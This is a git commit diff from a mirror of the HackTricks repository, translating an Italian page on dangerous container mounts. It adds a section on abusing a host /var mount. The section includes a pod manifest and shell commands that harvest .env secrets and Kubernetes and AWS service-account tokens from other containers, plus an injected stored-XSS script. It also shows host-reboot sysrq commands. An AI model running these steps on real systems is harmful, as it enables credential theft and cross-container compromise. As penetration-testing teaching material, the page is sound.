mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
797f5c50fd
commit
93e0e473c0
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
BIN
src/images/stored-xss-via-mounted-var-folder.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusi l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga dal container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto.
|
||||
L'esposizione di `/proc`, `/sys` e `/var` senza un'adeguata isolamento dei namespace introduce significativi rischi per la sicurezza, inclusi l'ampliamento della superficie di attacco e la divulgazione di informazioni. Questi directory contengono file sensibili che, se mal configurati o accessibili da un utente non autorizzato, possono portare a fuga di container, modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, montare in modo errato `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata su percorso, lasciando `/host/proc` non protetto.
|
||||
|
||||
**Puoi trovare ulteriori dettagli su ciascuna potenziale vulnerabilità in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -10,7 +10,7 @@ L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace int
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
Questa directory consente l'accesso per modificare le variabili del kernel, di solito tramite `sysctl(2)`, e contiene diverse sottodirectory di interesse:
|
||||
Questa directory consente l'accesso per modificare le variabili del kernel, di solito tramite `sysctl(2)`, e contiene diversi sottodirectory di interesse:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
@ -48,7 +48,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla accesso a modprobe
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Consente di registrare interpreti per formati binari non nativi basati sul loro numero magico.
|
||||
- Può portare a escalation dei privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
|
||||
- Può portare a escalation di privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
|
||||
- Sfruttamento e spiegazione rilevanti:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Tutorial approfondito: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Interfaccia con il dispositivo di memoria del kernel `/dev/mem`.
|
||||
- Storicamente vulnerabile ad attacchi di escalation dei privilegi.
|
||||
- Storicamente vulnerabile ad attacchi di escalation di privilegi.
|
||||
- Maggiori informazioni su [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
@ -107,7 +107,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni del namespace PID.
|
||||
- Espone nomi di processi, ID e identificatori cgroup.
|
||||
- Espone nomi di processi, ID e identificatori di cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
@ -148,7 +148,7 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- Rilascia indirizzi del kernel, potenzialmente compromettendo KASLR.
|
||||
- Rilascia indirizzi del kernel, compromettendo potenzialmente KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
@ -158,13 +158,100 @@ cat /output %%%
|
||||
#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
|
||||
|
||||
- Espone interfacce per interagire con le variabili EFI in NVRAM.
|
||||
- Mal configurazione o sfruttamento possono portare a laptop bloccati o macchine host non avviabili.
|
||||
- Malconfigurazione o sfruttamento possono portare a laptop bloccati o macchine host non avviabili.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` offre un'interfaccia di debug "senza regole" al kernel.
|
||||
- Storia di problemi di sicurezza a causa della sua natura illimitata.
|
||||
|
||||
### Vulnerabilità di `/var`
|
||||
|
||||
La cartella **/var** dell'host contiene socket di runtime del container e i filesystem dei container. Se questa cartella è montata all'interno di un container, quel container avrà accesso in lettura-scrittura ai filesystem di altri container con privilegi di root. Questo può essere abusato per passare tra i container, causare un denial of service o inserire backdoor in altri container e applicazioni che vi girano.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
Se un container come questo è distribuito con Kubernetes:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
Dentro del contenitore **pod-mounts-var-folder**:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh
|
||||
|
||||
/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
|
||||
JWT_SECRET=85d<SNIP>a0
|
||||
REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
|
||||
/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
|
||||
<SNIP>
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
|
||||
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
|
||||
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
L'XSS è stato ottenuto:
|
||||
|
||||

|
||||
|
||||
Nota che il container NON richiede un riavvio o altro. Qualsiasi modifica effettuata tramite la cartella montata **/var** verrà applicata istantaneamente.
|
||||
|
||||
Puoi anche sostituire file di configurazione, binari, servizi, file dell'applicazione e profili shell per ottenere RCE automatico (o semi-automatico).
|
||||
|
||||
##### Accesso alle credenziali cloud
|
||||
|
||||
Il container può leggere i token del serviceaccount K8s o i token webidentity AWS
|
||||
che consentono al container di ottenere accesso non autorizzato a K8s o al cloud:
|
||||
```bash
|
||||
/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
#### Docker
|
||||
|
||||
L'exploitation in Docker (o nelle distribuzioni Docker Compose) è esattamente la stessa, tranne per il fatto che di solito i filesystem degli altri container sono disponibili sotto un percorso di base diverso:
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
```
|
||||
Quindi i filesystem si trovano sotto `/var/lib/docker/overlay2/`:
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
#### Nota
|
||||
|
||||
I percorsi effettivi possono differire in diverse configurazioni, motivo per cui la tua migliore opzione è utilizzare il comando **find** per localizzare i filesystem degli altri contenitori.
|
||||
|
||||
### Riferimenti
|
||||
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
|
Loading…
x
Reference in New Issue
Block a user